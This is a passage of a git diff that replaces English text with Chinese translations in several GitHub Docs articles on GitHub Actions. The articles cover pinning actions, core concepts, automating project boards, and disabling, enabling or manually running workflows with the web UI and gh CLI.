必须使用提交的完整 SHA 值,而不是缩写值。 此示例针对操作的 SHA: ```yaml steps: - uses: actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89 ``` -### Using branches +### 使用分支 -Specifying a target branch for the action means it will always run the version currently on that branch. This approach can create problems if an update to the branch includes breaking changes. This example targets a branch named `@main`: +为操作指定目标分支意味着它将始终在该分支上运行当前的版本。 如果对分支的更新包含重大更改,此方法可能会造成问题。 此示例针对名为 `@main` 的分支: ```yaml steps: - uses: actions/javascript-action@main ``` -For more information, see "[Using release management for actions](/actions/creating-actions/about-actions#using-release-management-for-actions)." +有关详细信息,请参阅“[针对操作使用发布管理](/actions/creating-actions/about-actions#using-release-management-for-actions)”。 -## Using inputs and outputs with an action +## 对操作使用输入和输出 -An action often accepts or requires inputs and generates outputs that you can use. For example, an action might require you to specify a path to a file, the name of a label, or other data it will use as part of the action processing. +操作通常接受或需要输入并生成可以使用的输出。 例如,操作可能要求您指定文件的路径、标签的名称或它将用作操作处理一部分的其他数据。 -To see the inputs and outputs of an action, check the `action.yml` or `action.yaml` in the root directory of the repository. +若要查看操作的输入和输出,请检查存储库根目录中的 `action.yml` 或 `action.yaml`。 -In this example `action.yml`, the `inputs` keyword defines a required input called `file-path`, and includes a default value that will be used if none is specified. The `outputs` keyword defines an output called `results-file`, which tells you where to locate the results. +在示例 `action.yml` 中,`inputs` 关键字定义名为 `file-path` 的必需输入,并且包括在未指定任何输入时使用的默认值。 `outputs` 关键字定义名为 `results-file` 的输出,指示在何处查找结果。 ```yaml name: "Example" @@ -199,11 +203,11 @@ outputs: {% ifversion ghae %} -## Using the actions included with {% data variables.product.prodname_ghe_managed %} +## 使用 {% data variables.product.prodname_ghe_managed %} 随附的操作 -By default, you can use most of the official {% data variables.product.prodname_dotcom %}-authored actions in {% data variables.product.prodname_ghe_managed %}. For more information, see "[Using actions in {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-actions-in-github-ae)." +默认情况下,可以在 {% data variables.product.prodname_ghe_managed %} 中使用大多数官方 {% data variables.product.prodname_dotcom %} 编写的操作。 有关详细信息,请参阅“[使用 {% data variables.product.prodname_ghe_managed %} 中的操作](/admin/github-actions/using-actions-in-github-ae)”。 {% endif %} -## Next steps +## 后续步骤 -To continue learning about {% data variables.product.prodname_actions %}, see "[Essential features of {% data variables.product.prodname_actions %}](/actions/learn-github-actions/essential-features-of-github-actions)." +若要继续了解 {% data variables.product.prodname_actions %},请参阅“[{% data variables.product.prodname_actions %} 的基本功能](/actions/learn-github-actions/essential-features-of-github-actions)”。 diff --git a/translations/zh-CN/content/actions/learn-github-actions/understanding-github-actions.md b/translations/zh-CN/content/actions/learn-github-actions/understanding-github-actions.md index c839f81150..dcee6c9bf9 100644 --- a/translations/zh-CN/content/actions/learn-github-actions/understanding-github-actions.md +++ b/translations/zh-CN/content/actions/learn-github-actions/understanding-github-actions.md @@ -1,8 +1,7 @@ --- -title: Understanding GitHub Actions -shortTitle: Understand GitHub Actions -intro: 'Learn the basics of {% data variables.product.prodname_actions %}, including core concepts and essential terminology.' -miniTocMaxHeadingLevel: 3 +title: 了解 GitHub Actions +shortTitle: Understanding GitHub Actions +intro: '学习 {% data variables.product.prodname_actions %} 的基础知识,包括核心概念和基本术语。' redirect_from: - /github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions - /actions/automating-your-workflow-with-github-actions/core-concepts-for-github-actions @@ -16,87 +15,96 @@ versions: type: overview topics: - Fundamentals +ms.openlocfilehash: 439aa7fb77fb68c5f66da00a0de666d809b82fde +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: '146139447' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 概述 -## Overview +{% data reusables.actions.about-actions %} 您可以创建工作流程来构建和测试存储库的每个拉取请求,或将合并的拉取请求部署到生产环境。 -{% data reusables.actions.about-actions %} You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production. - -{% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository. +{% data variables.product.prodname_actions %} 不仅仅是 DevOps,还允许您在存储库中发生其他事件时运行工作流程。 例如,您可以运行工作流程,以便在有人在您的存储库中创建新问题时自动添加相应的标签。 {% ifversion fpt or ghec %} -{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure. +{% data variables.product.prodname_dotcom %} 提供 Linux、Windows 和 macOS 虚拟机来运行工作流程,或者您可以在自己的数据中心或云基础架构中托管自己的自托管运行器。 {% elsif ghes or ghae %} -You must host your own Linux, Windows, or macOS virtual machines to run workflows for {% data variables.location.product_location %}. {% data reusables.actions.self-hosted-runner-locations %} +您必须托管自己的 Linux、Windows 或 macOS 虚拟机才能运行 {% data variables.product.product_location %} 工作流程。 {% data reusables.actions.self-hosted-runner-locations %} {% endif %} {% ifversion ghec or ghes or ghae %} -For more information about introducing {% data variables.product.prodname_actions %} to your enterprise, see "[Introducing {% data variables.product.prodname_actions %} to your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)." +若要详细了解如何将 {% data variables.product.prodname_actions %} 引入企业,请参阅“[将 {% data variables.product.prodname_actions %} 引入企业](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)”。 {% endif %} -## The components of {% data variables.product.prodname_actions %} +## {% data variables.product.prodname_actions %} 的组件 -You can configure a {% data variables.product.prodname_actions %} _workflow_ to be triggered when an _event_ occurs in your repository, such as a pull request being opened or an issue being created. Your workflow contains one or more _jobs_ which can run in sequential order or in parallel. Each job will run inside its own virtual machine _runner_, or inside a container, and has one or more _steps_ that either run a script that you define or run an _action_, which is a reusable extension that can simplify your workflow. +可配置 {% data variables.product.prodname_actions %} 工作流,使其在存储库中发生事件(例如打开拉取请求或创建问题)时触发 。 工作流包含一个或多个可按顺序或并行运行的作业。 每个作业都将在其自己的虚拟机运行器中或在容器中运行,并具有一个或多个步骤,用于运行定义的脚本或运行动作。动作是一个可重用的扩展,可简化工作流 。 -![Workflow overview](/assets/images/help/images/overview-actions-simple.png) +![工作流概述](/assets/images/help/images/overview-actions-simple.png) -### Workflows +### 工作流 {% data reusables.actions.about-workflows-long %} -{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %} +{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}可在一个工作流中引用另一个工作流,详见“[重用工作流](/actions/learn-github-actions/reusing-workflows)”。{% endif %} -For more information about workflows, see "[Using workflows](/actions/using-workflows)." +有关工作流的详细信息,请参阅“[使用工作流](/actions/using-workflows)”。 -### Events +### 事件 -An event is a specific activity in a repository that triggers a workflow run. For example, activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository. You can also trigger a workflow run on a schedule, by [posting to a REST API](/rest/reference/repos#create-a-repository-dispatch-event), or manually. +事件是存储库中触发工作流程运行的特定活动。 例如,当有人创建拉取请求、打开议题或将提交推送到存储库时,活动可能源自 {% data variables.product.prodname_dotcom %}。 还可通过[发布到 REST API](/rest/reference/repos#create-a-repository-dispatch-event) 触发按计划运行的工作流,或者手动触发。 -For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/reference/events-that-trigger-workflows). +有关可用于触发工作流的事件的完整列表,请参阅[触发工作流的事件](/actions/reference/events-that-trigger-workflows)。 -### Jobs +### 作业 -A job is a set of _steps_ in a workflow that execute on the same runner. Each step is either a shell script that will be executed, or an _action_ that will be run. Steps are executed in order and are dependent on each other. Since each step is executed on the same runner, you can share data from one step to another. For example, you can have a step that builds your application followed by a step that tests the application that was built. +作业是工作流中在同一运行器上执行的一组步骤。 每个步骤要么是一个将要执行的 shell 脚本,要么是一个将要运行的动作。 步骤按顺序执行,并且相互依赖。 由于每个步骤都在同一运行器上执行,因此您可以将数据从一个步骤共享到另一个步骤。 例如,可以有一个生成应用程序的步骤,后跟一个测试已生成应用程序的步骤。 -You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel with each other. When a job takes a dependency on another job, it will wait for the dependent job to complete before it can run. For example, you may have multiple build jobs for different architectures that have no dependencies, and a packaging job that is dependent on those jobs. The build jobs will run in parallel, and when they have all completed successfully, the packaging job will run. +您可以配置作业与其他作业的依赖关系;默认情况下,作业没有依赖关系,并且彼此并行运行。 当一个作业依赖于另一个作业时,它将等待从属作业完成,然后才能运行。 例如,对于没有依赖关系的不同体系结构,您可能有多个生成作业,以及一个依赖于这些作业的打包作业。 生成作业将并行运行,当它们全部成功完成后,打包作业将运行。 -For more information about jobs, see "[Using jobs](/actions/using-jobs)." +有关作业的详细信息,请参阅“[使用作业](/actions/using-jobs)”。 -### Actions +### 操作 -An _action_ is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task. Use an action to help reduce the amount of repetitive code that you write in your workflow files. An action can pull your git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider. +操作是用于 {% data variables.product.prodname_actions %} 平台的自定义应用程序,它执行复杂但经常重复的任务。 使用操作可帮助减少在工作流程文件中编写的重复代码量。 操作可以从 {% data variables.product.prodname_dotcom %} 拉取 git 存储库,为您的构建环境设置正确的工具链,或设置对云提供商的身份验证。 -You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}. +您可以编写自己的操作,也可以在 {% data variables.product.prodname_marketplace %} 中找到要在工作流程中使用的操作。 {% data reusables.actions.internal-actions-summary %} -For more information, see "[Creating actions](/actions/creating-actions)." +有关详细信息,请参阅“[创建操作](/actions/creating-actions)”。 -### Runners +### 运行程序 -{% data reusables.actions.about-runners %} Each runner can run a single job at a time. {% ifversion ghes or ghae %} You must host your own runners for {% data variables.product.product_name %}. {% elsif fpt or ghec %}{% data variables.product.company_short %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your workflows; each workflow run executes in a fresh, newly-provisioned virtual machine. {% ifversion actions-hosted-runners %} {% data variables.product.prodname_dotcom %} also offers {% data variables.actions.hosted_runner %}s, which are available in larger configurations. For more information, see "[Using {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/using-larger-runners)." {% endif %}If you need a different operating system or require a specific hardware configuration, you can host your own runners.{% endif %} For more information{% ifversion fpt or ghec %} about self-hosted runners{% endif %}, see "[Hosting your own runners](/actions/hosting-your-own-runners)." +{% data reusables.actions.about-runners %} 每个运行器一次可以运行一个作业。 {% ifversion ghes or ghae %} 您必须为 {% data variables.product.product_name %} 托管自己的运行器。 {% elsif fpt or ghec %}{% data variables.product.company_short %} 提供 Ubuntu Linux、Microsoft Windows 和 macOS 运行器来运行您的工作流程;每个工作流程运行都在新预配的全新虚拟机中执行。 如果需要其他操作系统或特定硬件配置,可托管自己的运行器。{% endif %}有关{% ifversion fpt or ghec %}自托管运行器{% endif %}的详细信息,请参阅“[托管自己的运行器](/actions/hosting-your-own-runners)”。 {% data reusables.actions.workflow-basic-example-and-explanation %} -## Next steps +## 更复杂的示例 +{% data reusables.actions.link-to-example-library %} -{% data reusables.actions.onboarding-next-steps %} +## 后续步骤 -## Contacting support +- 若要继续了解 {% data variables.product.prodname_actions %},请参阅“[查找和自定义操作](/actions/learn-github-actions/finding-and-customizing-actions)”。 +{% ifversion fpt or ghec or ghes %} +- 若要了解 {% data variables.product.prodname_actions %} 的计费工作原理,请参阅“[关于 {% data variables.product.prodname_actions %} 的计费](/actions/reference/usage-limits-billing-and-administration#about-billing-for-github-actions)”。 +{% endif %} + +## 联系支持部门 {% data reusables.actions.contacting-support %} {% ifversion ghec or ghes or ghae %} -## Further reading +## 延伸阅读 -- "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)" -{% endif %} +- “[关于 {% data variables.product.prodname_actions %} 企业版](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)”{% endif %} diff --git a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md index 84c4fdbf19..e0b77637e3 100644 --- a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md +++ b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md @@ -1,6 +1,6 @@ --- -title: Moving assigned issues on project boards -intro: 'You can use {% data variables.product.prodname_actions %} to automatically move an issue to a specific column on a project board when the issue is assigned.' +title: 在项目板上移动分配的议题 +intro: '您可以使用 {% data variables.product.prodname_actions %} 在议题被分配时自动将议题移到项目板上的特定列。' redirect_from: - /actions/guides/moving-assigned-issues-on-project-boards versions: @@ -13,23 +13,27 @@ topics: - Workflows - Project management shortTitle: Move assigned issues +ms.openlocfilehash: 88cec7ca6f2e7774fb29407b0b3ee14dc7041067 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147410457' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 简介 -## Introduction +本教程演示如何在分配问题时使用 [`alex-page/github-project-automation-plus` 操作](https://github.com/marketplace/actions/github-project-automation)自动将问题移至项目板上的特定列。 例如,分配问题后,可以将其移动到项目板的 `In Progress` 列中。 -This tutorial demonstrates how to use the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation) to automatically move an issue to a specific column on a project board when the issue is assigned. For example, when an issue is assigned, you can move it into the `In Progress` column your project board. +在本教程中,你将首先创建一个使用 [`alex-page/github-project-automation-plus` 操作](https://github.com/marketplace/actions/github-project-automation)的工作流文件。 然后,您将自定义工作流以适应您的需要。 -In the tutorial, you will first make a workflow file that uses the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation). Then, you will customize the workflow to suit your needs. - -## Creating the workflow +## 创建工作流程 1. {% data reusables.actions.choose-repo %} -2. In your repository, choose a project board. You can use an existing project, or you can create a new project. For more information about creating a project, see "[Creating a project board](/github/managing-your-work-on-github/creating-a-project-board)." +2. 在仓库中,选择项目板。 您可以使用现有项目,也可以创建新项目。 有关如何创建项目的详细信息,请参阅“[创建项目板](/github/managing-your-work-on-github/creating-a-project-board)”。 3. {% data reusables.actions.make-workflow-file %} -4. Copy the following YAML contents into your workflow file. +4. 将以下 YAML 内容复制到工作流程文件中。 ```yaml{:copy} {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %} @@ -52,28 +56,28 @@ In the tutorial, you will first make a workflow file that uses the [`alex-page/g repo-token: {% raw %}${{ secrets.PERSONAL_ACCESS_TOKEN }}{% endraw %} ``` -5. Customize the parameters in your workflow file: - - Change the value for `project` to the name of your project board. If you have multiple project boards with the same name, the `alex-page/github-project-automation-plus` action will act on all projects with the specified name. - - Change the value for `column` to the name of the column where you want issues to move when they are assigned. - - Change the value for `repo-token`: - 1. Create a {% data variables.product.pat_v1 %} with the `repo` scope. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." - 1. Store this {% data variables.product.pat_generic %} as a secret in your repository. For more information about storing secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)." - 1. In your workflow file, replace `PERSONAL_ACCESS_TOKEN` with the name of your secret. +5. 自定义工工作流程文件中的参数: + - 将 `project` 的值更改为项目板的名称。 如果有多个同名项目板,则 `alex-page/github-project-automation-plus` 操作将对具有指定名称的所有项目执行操作。 + - 将 `column` 的值更改为要在分配问题时将其移动到的列的名称。 + - 更改 `repo-token` 的值: + 1. 创建具有 `repo` 作用域的个人访问令牌。 有关详细信息,请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 + 1. 将此个人访问令牌作为机密存储在仓库中。 有关如何存储机密的详细信息,请参阅“[已加密的机密](/actions/reference/encrypted-secrets)”。 + 1. 在工作流文件中,将 `PERSONAL_ACCESS_TOKEN` 替换为机密的名称。 6. {% data reusables.actions.commit-workflow %} -## Testing the workflow +## 测试工作流程 -Whenever an issue in your repository is assigned, the issue will be moved to the specified project board column. If the issue is not already on the project board, it will be added to the project board. +每当分配仓库中的议题时,议题将移到指定的项目板列。 如果议题尚未在项目板上,则将添加到项目板中。 -If your repository is user-owned, the `alex-page/github-project-automation-plus` action will act on all projects in your repository or personal account that have the specified project name and column. Likewise, if your repository is organization-owned, the action will act on all projects in your repository or organization that have the specified project name and column. +如果存储库是用户拥有的存储库,则 `alex-page/github-project-automation-plus` 操作将对存储库或个人帐户中具有指定项目名称和列的所有项目执行操作。 同样,如果您的仓库归组织所有,则该操作将对仓库或组织中具有指定项目名称和列的所有项目执行。 -Test your workflow by assigning an issue in your repository. +通过在仓库中分配议题来测试工作流程。 -1. Open an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)." -2. Assign the issue. For more information, see "[Assigning issues and pull requests to other GitHub users](/github/managing-your-work-on-github/assigning-issues-and-pull-requests-to-other-github-users)." -3. To see the workflow run that assigning the issue triggered, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)." -4. When the workflow completes, the issue that you assigned should be added to the specified project board column. +1. 在仓库中打开一个议题。 有关详细信息,请参阅“[创建问题](/github/managing-your-work-on-github/creating-an-issue)”。 +2. 分配议题。 有关详细信息,请参阅“[向其他 GitHub 用户分配问题并拉取请求](/github/managing-your-work-on-github/assigning-issues-and-pull-requests-to-other-github-users)”。 +3. 要查看分配议题所触发的工作流程运行,请查看工作流程运行的历史记录。 有关详细信息,请参阅“[查看工作流运行历史记录](/actions/managing-workflow-runs/viewing-workflow-run-history)”。 +4. 工作流程完成后,分配的议题应会添加到指定的项目板列中。 -## Next steps +## 后续步骤 -- To learn more about additional things you can do with the `alex-page/github-project-automation-plus` action, like deleting or archiving project cards, visit the [`alex-page/github-project-automation-plus` action documentation](https://github.com/marketplace/actions/github-project-automation). +- 若要详细了解可使用 `alex-page/github-project-automation-plus` 操作执行的其他操作,例如删除或存档项目卡,请访问[`alex-page/github-project-automation-plus`操作文档](https://github.com/marketplace/actions/github-project-automation)。 diff --git a/translations/zh-CN/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md b/translations/zh-CN/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md index b1d26e4bd2..a7596cbfaf 100644 --- a/translations/zh-CN/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md +++ b/translations/zh-CN/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md @@ -1,65 +1,50 @@ --- -title: Disabling and enabling a workflow -intro: 'You can disable and re-enable a workflow using the {% data variables.product.prodname_dotcom %} UI, the REST API, or {% data variables.product.prodname_cli %}.' +title: 禁用和启用工作流 +intro: '您可以使用 {% data variables.product.prodname_dotcom %} UI、REST API 或 {% data variables.product.prodname_cli %} 禁用并重新启用工作流程。' versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' shortTitle: Disable & enable a workflow +ms.openlocfilehash: 1c0ebc0f56ba8c337648670e0f07d8a56e2fc326 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145109568' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +禁用工作流程允许您停止触发工作流程,而不必从仓库中删除文件。 您可以轻松地在 {% data variables.product.prodname_dotcom %} 上重新启用工作流程。 -Disabling a workflow allows you to stop a workflow from being triggered without having to delete the file from the repo. You can easily re-enable the workflow again on {% data variables.product.prodname_dotcom %}. +在许多情况下,暂时禁用工作流程可能很有用。 以下是禁用工作流程可能有帮助的几个例子: -Temporarily disabling a workflow can be useful in many scenarios. These are a few examples where disabling a workflow might be helpful: - -- A workflow error that produces too many or wrong requests, impacting external services negatively. -- A workflow that is not critical and is consuming too many minutes on your account. -- A workflow that sends requests to a service that is down. -- Workflows on a forked repository that aren't needed (for example, scheduled workflows). +- 产生请求过多或错误的工作流程错误,对外部服务产生负面影响。 +- 不重要但会耗费您帐户上太多分钟数的工作流程。 +- 向已关闭的服务发送请求的工作流程。 +- 复刻仓库上不需要的工作流程(例如预定的工作流程)。 {% warning %} -**Warning:** {% data reusables.actions.scheduled-workflows-disabled %} +**警告**:{% data reusables.actions.scheduled-workflows-disabled %} {% endwarning %} -You can also disable and enable a workflow using the REST API. For more information, see the "[Actions REST API](/rest/reference/actions#workflows)." +您也可以使用 REST API 禁用和启用工作流程。 有关详细信息,请参阅“[Actions REST API](/rest/reference/actions#workflows)”。 -## Disabling a workflow +## 禁用工作流程 {% webui %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -1. In the left sidebar, click the workflow you want to disable. - - {% ifversion workflow-nav-2022 -%} - ![Actions select workflow](/assets/images/help/repository/actions-select-workflow-2022.png) - {%- else -%} - ![Actions select workflow](/assets/images/help/repository/actions-select-workflow.png) - {%- endif %} -1. Click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. - - {% ifversion workflow-nav-2022 -%} - ![actions kebab menu](/assets/images/help/repository/actions-workflow-menu-kebab-2022.png) - {%- else -%} - ![Actions kebab menu](/assets/images/help/repository/actions-workflow-menu-kebab.png) - {%- endif %} -1. Click **Disable workflow**. - - {% ifversion workflow-nav-2022 -%} - ![actions disable workflow](/assets/images/help/repository/actions-disable-workflow-2022.png) - {%- else -%} - ![actions disable workflow](/assets/images/help/repository/actions-disable-workflow.png) - - The disabled workflow is marked {% octicon "stop" aria-label="The stop icon" %} to indicate its status. - - ![actions list disabled workflow](/assets/images/help/repository/actions-find-disabled-workflow.png) - {%- endif %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} +1. 在左侧边栏中,单击您想要禁用的工作流程。 +![操作选择工作流](/assets/images/actions-select-workflow.png) +1. 单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}。 +![操作烤肉串菜单](/assets/images/help/repository/actions-workflow-menu-kebab.png) +1. 单击“禁用工作流”。 +![操作禁用工作流](/assets/images/help/repository/actions-disable-workflow.png) 禁用的工作流标记为 {% octicon "stop" aria-label="The stop icon" %} 以指示其状态。 +![操作列表禁用的工作流](/assets/images/help/repository/actions-find-disabled-workflow.png) {% endwebui %} @@ -67,45 +52,34 @@ You can also disable and enable a workflow using the REST API. For more informat {% data reusables.cli.cli-learn-more %} -To disable a workflow, use the `workflow disable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to disable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow. +要禁用工作流,请使用 `workflow disable` 子命令。 将 `workflow` 替换为要禁用的工作流的名称、ID 或文件名。 例如,`"Link Checker"`、`1234567` 或 `"link-check-test.yml"`。 如果您没有指定工作流程,{% data variables.product.prodname_cli %} 将返回交互式菜单供您选择工作流程。 ```shell -gh workflow disable WORKFLOW +gh workflow disable workflow ``` {% endcli %} -## Enabling a workflow +## 启用工作流程 {% webui %} -You can re-enable a workflow that was previously disabled. +您可以重新启用以前禁用过的工作流程。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -1. In the left sidebar, click the workflow you want to enable. - - {% ifversion workflow-nav-2022 -%} - ![Actions select disabled workflow](/assets/images/help/repository/actions-select-disabled-workflow-2022.png) - {%- else -%} - ![Actions select disabled workflow](/assets/images/help/repository/actions-select-disabled-workflow.png) - {%- endif %} -1. Click **Enable workflow**. - - {% ifversion workflow-nav-2022 -%} - ![Actions enable workflow](/assets/images/help/repository/actions-enable-workflow-2022.png) - {%- else -%} - ![Actions enable workflow](/assets/images/help/repository/actions-enable-workflow.png) - {%- endif %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} +1. 在左侧边栏中,单击您想要启用的工作流程。 +![操作选择禁用的工作流](/assets/images/help/repository/actions-select-disabled-workflow.png) +1. 单击“启用工作流”。 +![操作启用工作流](/assets/images/help/repository/actions-enable-workflow.png) {% endwebui %} {% cli %} -To enable a workflow, use the `workflow enable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to enable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow. +要启用工作流,请使用 `workflow enable` 子命令。 将 `workflow` 替换为要启用的工作流的名称、ID 或文件名。 例如,`"Link Checker"`、`1234567` 或 `"link-check-test.yml"`。 如果您没有指定工作流程,{% data variables.product.prodname_cli %} 将返回交互式菜单供您选择工作流程。 ```shell -gh workflow enable WORKFLOW +gh workflow enable workflow ``` {% endcli %} diff --git a/translations/zh-CN/content/actions/managing-workflow-runs/manually-running-a-workflow.md b/translations/zh-CN/content/actions/managing-workflow-runs/manually-running-a-workflow.md index f08d3af422..6d96227320 100644 --- a/translations/zh-CN/content/actions/managing-workflow-runs/manually-running-a-workflow.md +++ b/translations/zh-CN/content/actions/managing-workflow-runs/manually-running-a-workflow.md @@ -1,40 +1,38 @@ --- -title: Manually running a workflow -intro: 'When a workflow is configured to run on the `workflow_dispatch` event, you can run the workflow using the Actions tab on {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_cli %}, or the REST API.' +title: 手动运行工作流程 +intro: '当工作流配置为在发生 `workflow_dispatch` 事件时运行时,可以使用 {% data variables.product.prodname_dotcom %}、{% data variables.product.prodname_cli %} 或 REST API 上的“Actions”选项卡运行工作流。' versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' shortTitle: Manually run a workflow +ms.openlocfilehash: 22717c31a6bc2599f066b0e870f0aa652c18cc6f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145099187' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 配置工作流程手动运行 -## Configuring a workflow to run manually - -To run a workflow manually, the workflow must be configured to run on the `workflow_dispatch` event. To trigger the `workflow_dispatch` event, your workflow must be in the default branch. For more information about configuring the `workflow_dispatch` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#workflow_dispatch)". +要手动运行工作流,必须将工作流配置为在 `workflow_dispatch` 事件上运行。 要触发 `workflow_dispatch` 事件,工作流必须位于默认分支中。 有关配置 `workflow_dispatch` 事件的详细信息,请参阅“[触发工作流的事件](/actions/reference/events-that-trigger-workflows#workflow_dispatch)”。 {% data reusables.repositories.permissions-statement-write %} -## Running a workflow +## 运行工作流程 {% webui %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -1. In the left sidebar, click the workflow you want to run. - - {% ifversion workflow-nav-2022 -%} - ![Actions select workflow](/assets/images/help/repository/actions-select-workflow-2022.png) - {%- else -%} - ![Actions select workflow](/assets/images/help/repository/actions-select-workflow.png) - {%- endif %} -1. Above the list of workflow runs, select **Run workflow**. -![actions workflow dispatch](/assets/images/actions-workflow-dispatch.png) -1. Use the **Branch** dropdown to select the workflow's branch, and type the input parameters. Click **Run workflow**. -![actions manually run workflow](/assets/images/actions-manually-run-workflow.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} +1. 在左侧边栏中,单击您想要运行的工作流程。 +![操作选择工作流](/assets/images/actions-select-workflow.png) +1. 在工作流运行列表上方,选择“运行工作流”。 +![操作工作流调度](/assets/images/actions-workflow-dispatch.png) +1. 使用“分支”下拉菜单,选择工作流的分支,并键入输入参数。 单击“运行工作流”。 +![操作手动运行工作流](/assets/images/actions-manually-run-workflow.png) {% endwebui %} @@ -42,31 +40,31 @@ To run a workflow manually, the workflow must be configured to run on the `workf {% data reusables.cli.cli-learn-more %} -To run a workflow, use the `workflow run` subcommand. Replace the `workflow` parameter with either the name, ID, or file name of the workflow you want to run. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow. +要运行工作流,请使用 `workflow run` 子命令。 将 `workflow` 参数替换为要运行的工作流的名称、ID 或文件名。 例如,`"Link Checker"`、`1234567` 或 `"link-check-test.yml"`。 如果您没有指定工作流程,{% data variables.product.prodname_cli %} 将返回交互式菜单供您选择工作流程。 ```shell -gh workflow run WORKFLOW +gh workflow run workflow ``` -If your workflow accepts inputs, {% data variables.product.prodname_cli %} will prompt you to enter them. Alternatively, you can use `-f` or `-F` to add an input in `key=value` format. Use `-F` to read from a file. +如果您的工作流程接受输入,{% data variables.product.prodname_cli %} 将提示您输入它们。 或者,可以使用 `-f` 或 `-F` 添加 `key=value` 格式的输入。 使用 `-F` 